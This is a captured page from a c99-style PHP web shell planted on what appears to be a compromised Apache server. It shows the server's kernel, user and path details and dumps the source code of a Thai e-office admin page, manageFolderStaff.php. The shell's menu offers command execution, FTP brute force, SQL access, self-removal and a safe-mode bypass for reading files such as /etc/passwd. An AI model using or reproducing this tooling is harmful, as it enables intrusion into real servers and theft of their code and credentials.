!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/mistk/eoffice/admin/   drwxr-xr-x
Free 50.9 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     manageFolderStaff.php (11.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsDocType.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsDocSpeedLevel.php";
include_once 
"../class/clsDocSecreLevel.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"funct.php";
include_once 
"../class/clsDocInbox.php";
include_once 
"../class/clsDocInboxStaff.php";
include_once 
"../link/keyThai.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp1 = new docLinePosition($oC);
$oRSt = new receiveSendType($oC);
$oDt = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDoc = new Documents($oC);
$oDoc1 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc2 = new Documents($oC);
$oDoc3 = new Documents($oC);
$oDsl = new DocSpeedLevel($oC);
$oDcl = new DocSecretLevel($oC);
$oDsl2 = new DocSpeedLevel($oC);
$oDcl2 = new DocSecretLevel($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs6 = new DocReceiveSend($oC);
$oDbxS = new DocInboxStaff($oC);
$oDbxS1 = new DocInboxStaff($oC);
$oDbxS3 = new DocInboxStaff($oC);
$oDbxS2 = new DocInboxStaff($oC);
$MaxDocGroup=$oDP->SearchMaxDocGroup();
$InputThai=$oSys->SearchByInputThai();

 if(
$_SESSION['DLCID'] && $_SESSION['one_position']!="1"){ include_once "selectposition.php";
         
$oDlc->SearchByKey($_SESSION['DLCID']); $oDlc->GetRecord(); 
        
$oDlp1->SearchByKey($oDlc->DlpID);  $oDlp1->GetRecord();
        if(
$oDlcp1->DlpPID==&& $oDlc->DlcActive=="Y"){   $candone=1;}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table  width="100%"  align="center">
<tr><td >
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">จัดการโฟลเดอร์</font></legend>
        <form name="gg"  METHOD="POST" action="processDocInboxStaff.php">
        <table width="75%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse"  background="<?  echo "../picture/table_header_bg5.gif";  ?>">
          <tr height=22> 
            <td width="10%" align="center"><font  size="2">ลำดับ</font></td>
            <td width="46%" align="center"><font  size="2">ชื่อโฟลเดอร์&nbsp;(จำนวนหนังสือ)</font></td>
            <td width="8%" align="center"><font  size="2">เปลี่ยนชื่อ</font></td>
            <td width="5%" align="center"><font  size="2">ลบ</font></td>
            <td width="8%" colspan="2" align="center"><font  size="2">&nbsp;</font></td>
          </tr>
          <? $i=0;
          
$countsumdoc=0;
          
$numrow=0;
                  
$Topp=$oDbxS1->SearchByDlcIDNoDelMin($DLCID,$oDlc->DlpID,$oDlc->deptId,$oDlc->docGroup);        
                
$Bottomp=$oDbxS2->SearchByDlcIDNoDelMax($DLCID,$oDlc->DlpID,$oDlc->deptId,$oDlc->docGroup);
                
$countboxps=$oDbxS3->SearchByCountNoDel($DLCID,$oDlc->DlpID,$oDlc->deptId,$oDlc->docGroup);
                if(
$countboxps!="0" || $countboxps==""){
                 
$oDbxS->SearchByNoDelFolder($DLCID,$oDlc->DlpID,$oDlc->deptId,$oDlc->docGroup);
                
$numrow=$oDbxS->NumRow();
                    while(
$oDbxS->GetRecord()){   
                        
$forfolderstaff=""
                    if((
$i%2) == 0)   
                                              echo 
"<tr bgcolor=\"#FFFFFF\" height=22 >";
                                        else
                                              echo 
"<tr bgcolor=\"".$GLOBALS["COLOR_BG_TD_16"]."\"  height=22 align=\"left\">";
        
?>
        <td align="center"><? echo a2th($i+1);?></td>
          <td>&nbsp;&nbsp; 
            <? if($addname=="1" && $oDbxS->DocInboxSID==$DocInboxSID){   ?>
            <input name="editfolder"  id="editfolder" type="text" size="30" maxlength="100" value="<? echo $oDbxS->InboxName?>" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','editfolder')"> 
            <input name="add" type="button" value="บันทึก"  onClick="return renamefolder('<? echo $oDbxS->DocInboxSID;   ?>','<? echo $oDbxS->InboxName?>');"> 
            <?        }else{   ?> <!--a href="#" onClick="sendPage('<? //echo $oDbx->DocInboxID; ?>','<? //echo $personId; ?>');"--><? echo $oDbxS->InboxName;  ?><!--/a--><? }   
                if(
$oDlc->DlcSign=="Y"){  $forfolderstaff='DIbHeader';  }else{  $forfolderstaff='DIbStaff';  } 
                
$countdoc=$oDoc3->SearchCountDocInFolder($oDbxS->DocInboxSID,$forfolderstaff);  echo "&nbsp;(".a2th($countdoc).")";
        
?>
          </td>
          <td align="center"><? if($candone==1){ ?><a href="manageFolderStaff.php?addname=1&DocInboxSID=<? echo $oDbxS->DocInboxSID;   ?>"><? ?><img src="../picture/folder_open3.gif" title="เปลี่ยนชื่อโฟลเดอร์"  border="0" style="cursor:pointer;" ><? if($candone==1){ ?></a><? }?></td>
          <td align="center"><img src="../picture/folder_del.gif" title="ลบโฟลเดอร์"  border="0" style="cursor:pointer;" <? if($candone==1){ ?>onClick='return delfolder(<? echo $oDbxS->DocInboxSID;   ?>,<? echo $countdoc?>);' <? ?>></td>
          <td width="4%" align="center" valign="middle">
          <? if($Topp!=$oDbxS->seqBox){ ?><? if($candone==1){ ?><a href="processDocInboxStaff.php?method=changeSeq&typeb=Top&DocInboxSID=<? echo $oDbxS->DocInboxSID;   ?>&seqBox=<? echo $oDbxS->seqBox;   ?>&dlcid=<? echo $DLCID?>&dlpid=<? echo $oDlc->DlpID?>&deptId=<? echo $oDlc->deptId?>&docGroup=<? echo $oDlc->docGroup?>">
          <? ?><img src="../picture/up.gif" title="เลื่อนขึ้น"   border="0" style="cursor:pointer;"><? if($candone==1){ ?></a><? }?><? }else{   echo "&nbsp;"; } ?>
          </td>
          <td width="4%" align="center"  valign="middle">
          <? if($Bottomp!=$oDbxS->seqBox){ ?><? if($candone==1){ ?><a href="processDocInboxStaff.php?method=changeSeq&typeb=Bottom&DocInboxSID=<? echo $oDbxS->DocInboxSID;   ?>&seqBox=<? echo $oDbxS->seqBox;   ?>&dlcid=<? echo $DLCID?>&dlpid=<? echo $oDlc->DlpID?>&deptId=<? echo $oDlc->deptId?>&docGroup=<? echo $oDlc->docGroup?>"><? ?>
          <img src="../picture/down.gif" title="เลื่อนลง"border="0" style="cursor:pointer;"><? if($candone==1){ ?></a><? ?><? }else{   echo "&nbsp;"; }  ?> 
          </td>
          </tr>
          <?  $i++; $countsumdoc=$countsumdoc+$countdoc;  }    }  ?>
          <?  if($addline=="1"){    ?>
          <tr bgcolor="#FFFFFF"> 
              <td>&nbsp;</td>
            <td>&nbsp;&nbsp; <input name="foldernew"   id="foldernew" type="text" size="30" maxlength="100" onkeypress="return chkNoKey(event)" onKeyUp="CheckInput('<? echo $InputThai?>','foldernew')"> 
              &nbsp; <input name="add" type="button" value="บันทึก" onClick='return addfolder();'></td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <? ?>
        </table>
      <table width="69%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">

      <tr><td align="right" height="25"><strong>รวมหนังสือที่จัดเก็บ <? echo a2th($numrow); ?> โฟลเดอร์ <? echo a2th($countsumdoc); ?> ฉบับ</strong></td></tr>
            <tr><td colspan="3" bgcolor="#FFFFFF" align="right" height="30" valign="middle">
          <? if($candone==1){ ?>
      <a onClick="location.href = 'manageFolderStaff.php?addline=1'" style="cursor:pointer;"><img src="../picture/folder_new.gif" title="เพิ่มโฟลเดอร์"  border="0" style="cursor:pointer;">&nbsp;เพิ่มโฟลเดอร์</a>
        <? ?>
     </td></tr>
      </table>
      <br>
      <input type="hidden" name="iddoc" id="iddoc" > 
      <input type="hidden" name="countdocfolder" id="countdocfolder" > 
     <input type="hidden" name="dlcid" id="dlcid"   value="<? echo $DLCID?>"> 
     <input type="hidden" name="dlpid" id="dlpid"   value="<? echo $oDlc->DlpID?>"> 
     <input type="hidden" name="deptId" id="deptId"   value="<? echo $oDlc->deptId?>">  
       <input type="hidden" name="docGroup" id="docGroup"   value="<? echo $oDlc->docGroup?>">  
     <input type="hidden" name="addline"  id="addline"  value="<? echo $addline?>"> 
      <input type="hidden" name="addname" id="addname"  value="<? echo $addname?>"> 
    <input type="hidden" name="method" id="method">
    <input type="hidden" name="oldvalue" id="oldvalue">
      </form>
</fieldset> 
      <table width="99%" border="0" align="center">
        <tr> 
          <td width="126" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/folder_open3.gif" title="เปลี่ยนชื่อโฟลเดอร์"  border="0">&nbsp;คลิกเพื่อเปลี่ยนชื่อโฟลเดอร์&nbsp;&nbsp;&nbsp; 
            <img src="../picture/folder_del.gif" title="ลบโฟลเดอร์"  border="0" > 
            คลิกเพื่อลบโฟลเดอร์</font>&nbsp;&nbsp;&nbsp;<font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><img src="../picture/folder_new.gif" title="เพิ่มโฟลเดอร์"  border="0" >&nbsp;คลิกเพื่อเพิ่มโฟลเดอร์</font></td>
        </tr>
          <tr> 
          <td width="126" align="left">&nbsp;</td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">
          <img src="../picture/up.gif" title="เลื่อนขึ้น"   border="0"> คลิกเพื่อเลื่อนลำดับโฟลเดอร์ขึ้น&nbsp;&nbsp;&nbsp;<img src="../picture/down.gif" title="เลื่อนลง"   border="0"> คลิกเพื่อเลื่อนลำดับโฟลเดอร์ลง</font></td></tr>
          <tr> 
          <td width="126" align="left">&nbsp;</td>
          <td width="702" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><? //echo คลิกที่ชื่อโฟลเดอร์เพื่อดูหนังสือที่อยู่ในโฟลเดอร์ ?></font></td></tr>
      </table>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>

<script language="javascript">
function addfolder(){
    if(document.gg.foldernew.value==""){
        alert("กรุณากรอกชื่อโฟลเดอร์");
    }else{
                var agree=confirm("คุณต้องการจะสร้างโฟลเดอร์นี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.gg.method.value="addfolder";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function renamefolder(p,oldvalue){
    if(document.gg.editfolder.value==""){
        alert("กรุณากรอกชื่อโฟลเดอร์");
    }else{
                var agree=confirm("คุณต้องการเปลี่ยนชื่อโฟลเดอร์นี้แน่นอนใช่หรือไม่ ?");
                if (agree){
                    document.gg.oldvalue.value=oldvalue;
                    document.gg.iddoc.value=p;
                    document.gg.method.value="renamefolder";
                    document.gg.submit();
                    return true;
                }else{
                    return false ;
                }
        
    }
}
function delfolder(p,q){
                if(q>0){
                    window.alert("โฟลเดอร์นี้มีหนังสืออยู่ ");
                    return false ;
                }else{
                        var agree=confirm("คุณต้องการจะลบโฟลเดอร์นี้แน่นอนใช่หรือไม่ ?");
                        if (agree){
                            document.gg.method.value="delfolder";
                            document.gg.iddoc.value=p;
                            document.gg.countdocfolder.value=q;
                            document.gg.submit();
                            return true;
                        }else{
                            return false ;
                        }
                }
        
}
function sendPage(p,q) {
     var links;
            links = "./printRepSumFolder.php?DocInboxID="+p+"&personId="+q;
            window.open(links,'','toolbar=0, scrollbars=1, location=0, status=1, menubar=1, resizable=1, width=950, height=620, left = 150, top = 15');
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--